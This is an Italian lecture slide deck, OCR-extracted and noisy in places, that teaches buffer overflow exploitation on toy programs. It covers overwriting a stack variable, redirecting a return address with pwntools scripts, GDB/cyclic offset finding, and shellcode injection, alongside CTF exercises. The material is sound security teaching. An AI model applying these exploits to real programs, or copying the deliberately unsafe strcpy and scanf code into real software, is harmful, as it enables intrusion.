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Buffer overflow

R T iR

e Obiettivo di questa lezione € esaminare un tipo di
vulnerabilita molto comune:

— buffer overflow

e Consiste nel fatto che il programma, sotto certi input, scrive
in zone della memoria in cui non dovrebbe

— Accede ad array al di fuori dei limiti dello spazio riservato
— Copia una stringa in un buffer troppo piccolo

— Possiede un puntatore che punta ad un locazione errata

e E trale vulnerabilita piu antiche nel modo dell’informatica
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https://en.wikipedia.org/wiki/Buffer_overflow

Corruzione della memoria

s
e Vedremo come sfruttare le vulnerabilita buffer overflow per
lanciare attacchi di corruzione della memoria

— Consistono nel modificare la memoria per alterare il
comportamento atteso del programma

— Normalmente basate sulla vulnerabilita nota come buffer
overflow, ma non solo.

e Questi errori possono essere usati
— Per cambiare il valore delle variabili
— Per cambiare il contenuto dello stack

In particolare, I'indirizzo di ritorno di una funzione
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Cambiare il valore delle variabili
R T TR
e Consideriamo il seguente codice

#include <stdio. h>
#include <string.h>
#include <err.h>

int main(int argc, char **argv)

{
int variable;
O char buffer[10];
{3 if(argc == 1) {
= errx(1, "please specify an argument\n");
] 3
3
variable = 0;
strcpy(buffer, argv[i]);
if(variable == 0x30324343) {
printf("You have changed the variable with the correct value!\n");
} else {
printf("Try again, you got 0x%08x\n", variable);
¥
}
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Cambiare il valore delle variabili

I T TRy
e Consideriamo il seguente codice

#include <stdio.h>
#include <string.h>

#include <err.h> - Variabili Iocali, Si
int main(int argc, char **argv) trovano nello stack
{
|int variable;
s char buffer[l@];l'
% if(argc == 1) {
= errx(1, "please specify an argument\n");
] 3
3
variable = 0;
strcpy(buffer, argv[1]);
if(variable == 0x30324343) {
printf("You have changed the variable with the correct value!\n");
} else {
printf("Try again, you got 0x%08x\n", variable);
¥
}
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Cambiare il valore delle variabili
A TR
e Consideriamo il seguente codice

#include <stdio. h>
#include <string.h>
#include <err.h>

int main(int argc, char **argv)

{
int variable;
s char buffer[10];
o if (arge == 1) { e o
= errx(1, "please specify an argument\n"); — |nizializzazione variabili
] 3
3
variable = 0;
strcpy(buffer, argv[i]);
if(variable == 0x30324343) {
printf("You have changed the variable with the correct value!\n");
} else {
printf("Try again, you got 0x%08x\n", variable);
¥
}
£= CYBER
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Cambiare il valore delle variabili

e TRy
e Consideriamo il seguente codice

#include <stdio. h>
#include <string.h>
#include <err.h>

int main(int argc, char **argv)

{ .
int variable; Come possiamo
o char buffer[10]; cambiare il contenuto di
S if(argc == 1) { variable ?
= errx(1, "please specify an argument\n");
] 3
3
variable = 0;
strcpy(buffer, argv[i]);
if(variable == 0x30324343) {
printf("You have changed the variable with the correct value!\n");
} else {
printf("Try again, you got 0x%08x\n", variable);
¥
}
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Cambiare il valore delle variabili

TR
e Consideriamo il seguente codice

#include <stdio. h>
#include <string.h>
#include <err.h>

int main(int argc, char **argv)

{
int variable; > HH>
o char buffer[10]: Questa e-una vulnera-blllta,
; non pPosSiamo garantlre
% if(argc == 1) { L .
= errx(1, "please specify an argument\n"); che buffer sia abbastanza
o } grande da contenere
o
variable = 0: arevl1il]!
strcpy(buffer, argv[l];;l g [ ]
if(variable == 0x30324343) {
printf("You have changed the variable with the correct value!\n");
} else {
printf("Try again, you got 0x%08x\n", variable);
¥
}
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Cambiare il valore delle variabili

L of

e Possiamo osservare che variable € allocata nello stack poco
prima di buffer.

Nelle architetture che usiamo noi, questo vuol dire che
buffer viene immediatamente prima in memoria

— Possiamo modificare variable se passiamo al nostro programma

un argomento su riga di comando abbastanza grande da “sforare
la dimensione di buffer.
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Cambiare il valore delle variabili

__ 1L I e e e

e Possiamo invocare il programma con input differenti e
controllare il risultato.

$ ./override AAAAAAAAAB

Try again, you got Ox00000000
$ ./override AAAAAAAAAAAB

Try again, you got 0x00004241

e Se l'input supera i 10 caratteri, il contenuto di variable
cambia.
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Cambiare il valore delle variabili

e Partendo da questa osservazione, possiamo scrivere un
semplice script Python che calcola I'input corretto da usare.

import os

command = "./override " + ('A' *
print("Executing command:", command)
0s.system(command)

seguendo lo script: y

Si noti che 'ordine

10) + '"\x43\x43\x32\x30'

_ _ dei byte e inverso
$ python3 ./override-exploit.py rispetto a quello nel
Executing command: ./override AAAAAAAAAACC20 programma C
You have changed the variable with the correct value!

perché siamo in un
sistema little endian.

o /

UdA
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Esercizi

13 -~ P HF

Ripetere quanto fatto nelle slide sopra con |l
programma override32

(stesso codice ma compilato a 32 bit)
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Esercizi

14

Svolgere la challenge

SS 2.01 Digital billboard

(nel caso non l'aveste gia svolta)
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https://ctf.cyberchallenge.it/challenges#challenge-108

Corruzione dello stack

25 N H- : S

e Consideriamo ora un diverso tipo di exploit per il buffer

overflow, che ci consente di cambiare I'indirizzo di ritorno di
una funzione.

— In questo modo, I'attaccante puo eseguire una qualunque
funzione nel programma.
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Corruzione dello stack
I T TR
e Consideriamo il seguente codice:

#include <stdio. h>

void highSecurityFunction() {
printf("You have executed a function with high security level!");

}
void lowSecurityFunction() {
char buffer[20];
Q
c printf("Enter some text: ");
= scanf("%s", buffer);
) printf("You entered: %s\n", buffer);
}
int main(int argc, char **argv)
{
lowSecurityFunction();
return 0;
}
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Corruzione dello stack
I TR
e Consideriamo il seguente codice:

#include <stdio. h>

void highSecurityFunction() {
printf("You have executed a function with high security level!");

}
void lowSecurityFunction() {
char buffer[20]; Una funzione ad alta
($) .
c orintf("Enter some text: "): sicurezza che espone un
=) scanf("%s", buffer); r
<) printf("You entered: %s\n", buffer); S€E eto.
}
int main(int argc, char **argv)
{
lowSecurityFunction();
return 0;
}
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Corruzione dello stack
T

e Consideriamo il seguente codice:
#include <stdio.h>
void highSecurityFunction() {

printf("You have executed a function with high security level!");
}

void lowSecurityFunction() {
char buffer[20];

o Una funzione a bassa
c printf("Enter some text: "); . ibile dagli
= scanf("%s", buffer); Sicurezza accessiplie dagli
o printf("You entered: %s\n", buffer); utenti standard.
3
%”t main(int argc, char **argv) Solo la funzione a bassa
lowSecurityFunction(); sicurezza viene invocata.
return 0;
}
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Corruzione dello stack
I T TR
e Consideriamo il seguente codice:

return.c
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#include <stdio.h>
void highSecurityFunction() {

printf("You have executed a function with high security level!");
}

void lowSecurityFunction() {
char buffer[20];

C’e una vulnerabilita. La
stringa letta potrebbe
essere piu lunga di buffer.

nrintf("Fnter some text:
scanf("%s", buffer);

ll)-

s\n", buffer);
¥ Possiamo usare il buffer
int main(int argc, char **argv) overflow per eseguire
{ . : :
lowSecurityFunction(); hlghSecur/tyFunct'lon()
return 0;
}




Corruzione dello stack
_20p
e Consideriamo il seguente codice:

#include <stdio. h>

void highSecurityFunction() {
printf("You have executed a function with high security level!\n");

}
void lowSecurityFunction() {
char buffer[20];
Q
c printf("Enter some text: ");
= scanf("%s", buffer);
) printf("You entered: %s\n", buffer);
}
int main(int argc, char **argv)
{
lowSecurityFunction();
return 0;
}
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Corruzione dello stack
o2y
e Dobbiamo prima scoprire alcune informazioni sulla
funzione.
* Proviamo ad usare objdump -d per decompilare il codice.

e Scopriamo I'indirizzo della funzione highSecurityFunction()

0000000000400486] <highSecurityFunction>:

400486 55 push  %rbp

400487 : 48 B9 e5 Mo %Isp,%rbp

40048a: bf 10 12 42 @@ mov $0x401210,%edi
4p048f: e8 dc fe ff ff call 400370 <puts@plt>
400494 : 90 nop

400495 5d pop %rbp

400496 c3 ret
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Corruzione dello stack

o Scopriamo l'indirizzo di buffer, rispetto al base pointer.

0000000000400497 <lowSecurityFunction=:

400497 : 55 push  %rbp

400498 : 48 89 e5 mov  %Isp,%rbp /Si ricorda che, secondo\

40049b : 48 83 ec 20 sub  $@x20,%rsp la convenzione di

40049 : bf 47 12 4@ 2@ mov $0x4@1247 ,%edi chiamata di x86-64, |l

4004a4 b8 00 00 00 00 mov  $0x@,%eax primo parametro di scant

4004a9: e8 d2 fe ff ff call 400382 <printf@plt> .

4004ae: 48 8d 45 e@ lea —sza{?ﬁrbp}l,%rax S| deve. trovar(? i

4004b2: 48 89 c6 mov  WIax,%Isi registro rsi. -

4004b5: bf 59 12 40 @0 mov $@0x401259,%ed1

4004ba: b8 00 @2 20 @0 mov $0x0 , %eax

4004bT : e8 cc fe ff ff call 400390 <__isoc23_scanf@plt>

4004c4: 48 Bd 45 e@ lea -@x2@(%rbp) ,%rax

4004c8: 48 89 c6 mov %rax,%rsi

4004ch: bf 5c 12 40 @0 mov $@x40125c, %edi

4004da: b8 00 @2 20 @0 mov $0x0 , %eax

4004d5 : e8 a6 fe ff ff call 400382 <printf@plt>

404da: 90 nop

4004db: c9 leave
i 4004dc: c3 Tet =
== CYBER %
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Corruzione dello stack

o223
e Riassumendo

— highSecurityFunction() inzia all'indirizzo 0x400486
— lavariabile buffer inizia 32 byte prima del frame pointer.
— Dopo questi venti byte ci sono:
« 8 byte per il vecchio valore di RBP
e 8 byte per I'indirizzo di ritorno
e Pertanto, dobbiamo fornire come input
— 32+8 =40 byte casuali

— 8 byte con l'indirizzo di highSecurityFunction
YBER
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Corruzione dello stack
T

from pwn import *

p = process("./return")
p.sendline(b"A"*40 + p64(0x400486))
p.interactive()

return-exploit.c

In questa versione evitiamo di
calcolare l'indirizzo di
highSecurityFunction() a mano e lo

facciamo fare a pwntools.

from pwn import *

exe = ELF("./return")

p = process("./return')

p.sendline(b"A"*40 + p64(exe.sym.highSecurityFunction))
p.interactive()

return-exploit2.c
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Uso di Ghidra

hhhkhdhhrhhrhhhbhrrhhhrhhrdhrhhbhrbhrdhrhrhhrbhrdhhhrbhrdhrhbdhhrd

3 c . * FUNCTION "
Indlrlzzo dl L L T T
highSecurityFunction

undefined highSecurityFunction()

undefined M <UNASSIGNED>  <RETURN=>
highSecurityFunction XREF[3]: Entry Point(*), 02401294,
PBAB1320( *)
5 PUSH RBP
Gy 48 B9 efb MOw RBP, RSP
@e40048a bf 16 12 MO EDL,s_You_have_executed_a_function_wit_@e481216
40 oa
Be40048T ed dc fe CALL libc.so.6: puts
f ff
20400494 90 NOP
20400495 5d POP RBP
20400496 3 RET
khhkhdhhhhkhhhbhrdhhhdrbhdhddrhhdhrbdhdhrhrdhdbdddhdhrbrdddrhbdrdd
/ * FUNCTION *
khhkhdhhhhkhhhbhrdhhhdrbhdhddrhhdhrbdhdhrhrdhdbdddhdhrbrdddrhbdrdd
Oﬁset OX28 40 ”Spett undefined lowSecurityFunction()
all'indirizzo di ritorno della NASSIGNED _RETURI>
UTTET LITEUT | Stack[-0x28]:1 local_zsl XREF [2] : B24004ae(*),
variabile 1ocal_28 (che é i 004004c4(*)
lowSecurityFunction XREF [4] : Entry Point(*), main:@@d@@dec(c),
nome Che SI e |nventat0 P040129¢c, BR4E1340(*)
Ghidra per buffer) 00400497 55 PUSH REP
20400498 48 89 e5 MOW RBP, RSP
K 2e40049b 48 83 ec 20 5uB RSP, @x20
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Uso di cyclic

R T
e Un altro modo per determinare l'offset rispetto allo stack
pointer di buffer e usare cyclic, uno strumento di pwntools.

e« cyclic —n <s> <n> genera una stringa lunga n caratteri, che
non ha sottostringhe uguali di lunghezza s.
— cyclic —-n 4 20 genera aaaabaaacaaadaaaeaaa
— Si chiamano sequenze di “de Bruijn”

o Successivamente, con l'opzione -1 posso fornire una

sottostringa per avere la posizione in cui inizia.
— cyclic -n 4 -1 aada genera 10

CYBER
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https://en.wikipedia.org/wiki/De_Bruijn_sequence

Uso di cyclic
N
e Come lo sfrutto?
— Con cyclic genera una stringa sufficentemente lunga da sovrascriver
I'indirizzo di ritorno
— Eseguo il programma usando GDB

— Do lastringa di prima in input al programma, che termina con
segmentation fault.

— Guardo cosa c’e in cima allo stack al momento del segmentation fault.

e Questo e l'indirizzo di ritorno che abbiamo sovrascritto con parte della stringa
di cyclic

— Uso cyclic -1 con la stringa che sta in cima allo stack per trovare

I'offset di questa sottostringa, che € anche I'offset che cerco per I'attacco
di buffer overlow.

CYBER
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Uso di cyclic

Questo numero deve
essere uguale alla
dimensione di un puntatore
nell'architettura della CPU.

(cyberchallenge) $|cyclic -n 8 BBI
aaaaaaaabaaaaaaacaaaanaadanaaaaacaaaaaaafaaaaaaagaaaaaaahaaa

(cyberchallenge) $%|gdb-gef -q ./return
Reading symbols from ./jrecdrn...

(No debugging symbols found in ./return)

Error while writing index for ‘/home/amato/Nextcloud/Didattica/cyberchallenge/«
GEF for linux ready, type ‘gef' to start, ‘gef config' to configure

94 commands loaded and 5 functions added for GDB 16.3-1.fc42 in 0.01ms using Py
Starting program: /home/amato/Nextcloud/Didattica/cyberchallenge/cyberchallenge
[Thread debugging using libthread_db enabled]

Using host libthread db library "/1ib64/libthread db.so. 1",

Enter some text: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaal
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Uso di cyclic
B

CYBER

$rpp @ uXblolbloliblblblob “eaaaaaaa  ¢)
$rsi : Ox400

$rdi : Bx0EEOTFFfffffd620 - Ox0OO07Fffffffd6s0 -
$rip : Bx000DOEOOOE40B4Ade =

$r8 : Bx0

$r9 : 0x0

$ri10 : 0x0

$ri11 : Ox202

$ri12 : Dx0EEOTFFfffffdI68 - Ox0OO07Fffffffddi6 =
$ri13 T Bx1

$ri4 : Dx0EEOTFFFF7ffdO00 - OxPOOOVFfff7ffedl1d -
$r15 : OxD000000000402e00 - Ox000000DOD0D400450 -
$eflags:

"You entered: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaal...]’

<lowSecurityFunction+0045> ret

"/home/amato/Nextcloud/Didattica/cyberchallenge/cyb[...]"

0x00000PPPPEEEOEERO
<__do_global_dtors_aux+0000> endbr64

[ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]

$cs: 0x33 $ss: Ox2b $ds: OxBO $es: Ox00 $fs: Ox00 $gs: Ox00

0x00007FfFfffffd828
Ox00007FFfFf1d830
Ox00007Ffffffd838
0x00007FFfffffd840
0x00007Fffffffd848
0x00007Fffffffd8h0
0x00007FFfffffd858
Ox00007FFffffd860

+0x0000:
+0x0008:
+0x0010:
+0x0018:
+0x0020:
+0x0028:
+0x0030:
+0x0038:

|"faaaaaaagaaaaaaahaaa" |

gaaaaaaahaaa

< $rsp

0x00POOERO61616168 ("haaa"?)

0x000O7FffffffdBed
0x00007ffff7db65f5
0x0e0O7Ffff7fcToO0
Ox00007FffFf1d968
0x0E000E01ffTfdBab

L

OxPEETFFFFfffd940 - OxOEEEOEOO00O0ODOARA
<__libc_start_call_main+0075> mov edi, eax
0x03010102464c457F

Ox0PEOT7FFfffffdd16 -

[

"/home/amato/Nextcloud/Didattica/cybercha

0x4004d5 <lowSecurityFunction+003e> call

0x4004da <lowSecurityFunction+0043> nop

0x4004db <lowSecurityFunction+0044> leave
- 0x4004dc <lowSecurityFunction+0045> ret
['] Cannot disassemble from $PC

0x400380 <printfl@plt>

[#0] Id 1, Name: "return", stopped 0x4004dc in lowSecurityFunction (), reason: SIGSEGV

[#0] 0x4004dc -~ lowSecurityFunction()

CHALLENGEIT
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Uso di cyclic

S0

e Diamo la stringa in input a cyclic:

(cyberchallenge) $ cyclic -n 8 -1 faaaaaaagaaaaaaahaaa
40

o Otteniamo che l'offset da usare € 40, come noi abbiamo gia
calcolato in altro modo.

o« Attenzione che in alcuni installazioni di pwntools il

comando cyclic non esiste e bisogna usare pwn cyclic
con esattamente la stessa sintassi

CYBER
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Esercizi

31

Ripetere quanto fatto nelle slide sopra con |l
programma return32

(stesso codice ma compilato a 32 bit)
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Esercizi
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Svolgere la challenge

SS 2.02 - 1996

(nel caso non l'aveste gia svolta)
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https://ctf.cyberchallenge.it/challenges#challenge-109

Heap overflow

sy

o Un buffer overflow che si verifica in un dato nell’heap
prende di solito il nome di heap overflow

— Ricordiamo che I’'heap € la zone di memoria che viene utilizzata da
funzioni come malloc.

exploit di una vulnerabilita di questo tipo € condotta in
modo differente rispetto al quanto visto prima

— L'obiettivo € cambiare la struttura interna dei dati usati dal
programma, ad esempio i puntatori nelle liste concatenate

CYBER
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Code injection

I

« Talvolta nel programma che attacchiamo non c’e gia una

funzione che vogliamo chiamare. Dobbiamo fornirlo noi
o |'attacco segue quindi questo schema:

— Il codice che vogliamo eseguire viene iniettato nel programma
(code injection)

o Sfruttando una qualche vulnerabilita

— L'esecuzione viene dirottata al codice iniettato
o Sfruttando una qualche vulnerabilita
e Possibilmente diversa dalla prima

CYBER
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Shell code injection

R T
o L'obiettivo € eseguire la shell del sistema operativo
e« Forma molto popolare di attacco a server remoti

e || codice iniettato € semplicemente la chiamata di sistema per
invocare la shell (/bin/sh sui sistemi Unix e simili)

— e chiamato shellcode
— dipende da CPU e sistema operativo

— software come pwntools possono generare lo shell code per noi.

e Una volta ottenuto il controllo della shell possiamo:
— Inviare comandi al sistema
— Creare file

— Rubare informazioni

CYBER
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Demo

25

Svolgere la challenge

SS 2.04 - restricted shell

(la challenge e un po’ irrealistica)
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https://ctf.cyberchallenge.it/challenges#challenge-111
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